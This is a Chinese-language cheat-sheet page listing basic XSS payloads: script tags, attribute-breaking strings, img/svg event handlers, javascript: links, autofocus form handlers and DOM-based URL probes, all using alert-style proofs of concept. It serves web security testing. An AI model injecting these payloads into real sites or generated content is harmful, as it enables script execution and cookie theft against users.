跳到主要内容

xss-basic

注:因 docusaurus 不支持标签,所以用代码块注释

基础 script 标签

<script>alert('XSS')</script>
<script>alert(document.domain)</script>
<script>alert(document.cookie)</script>
<script>confirm('XSS')</script>
<script>prompt('XSS')</script>
<script>eval('alert(1)')</script>
<script>eval(atob('YWxlcnQoMSk='))</script>
<script>Function('alert(1)')()</script>
<script>setTimeout('alert(1)',0)</script>
<script>setInterval('alert(1)',1000)</script>

闭合属性注入

"><script>alert('XSS')</script>
'><script>alert('XSS')</script>
"><img src=x onerror=alert(1)>
" onmouseover="alert(1)
' onfocus='alert(1)' autofocus='

img / svg 事件

<img src=x onerror=alert('XSS')>
<img src=x onerror=alert(String.fromCharCode(88,83,83))>
<img/src=x onerror=alert(1)>
<svg/onload=alert('XSS')>
<svg><script>alert(1)</script></svg>
<svg><animate onbegin=alert(1) attributeName=x dur=1s>
<body onload=alert(1)>
<marquee onstart=alert(1)>
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)>

链接与 iframe

<a href="javascript:alert('XSS')">click me</a>
<a href="javascript:alert(document.cookie)">steal cookie</a>
<iframe src="javascript:alert('XSS')"></iframe>
<iframe srcdoc="<script>alert(1)</script>"></iframe>
<object data="javascript:alert(1)">
<embed src="javascript:alert(1)">

表单与输入

<input type="text" value="><script>alert('XSS')</script>">
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<button onclick=alert(1)>click</button>
<form><button formaction="javascript:alert(1)">submit</button></form>

DOM 型常用探测

#<script>alert(1)</script>
?search=<script>alert(1)</script>
?name=<img src=x onerror=alert(1)>
javascript:alert(1)
data:text/html,<script>alert(1)</script>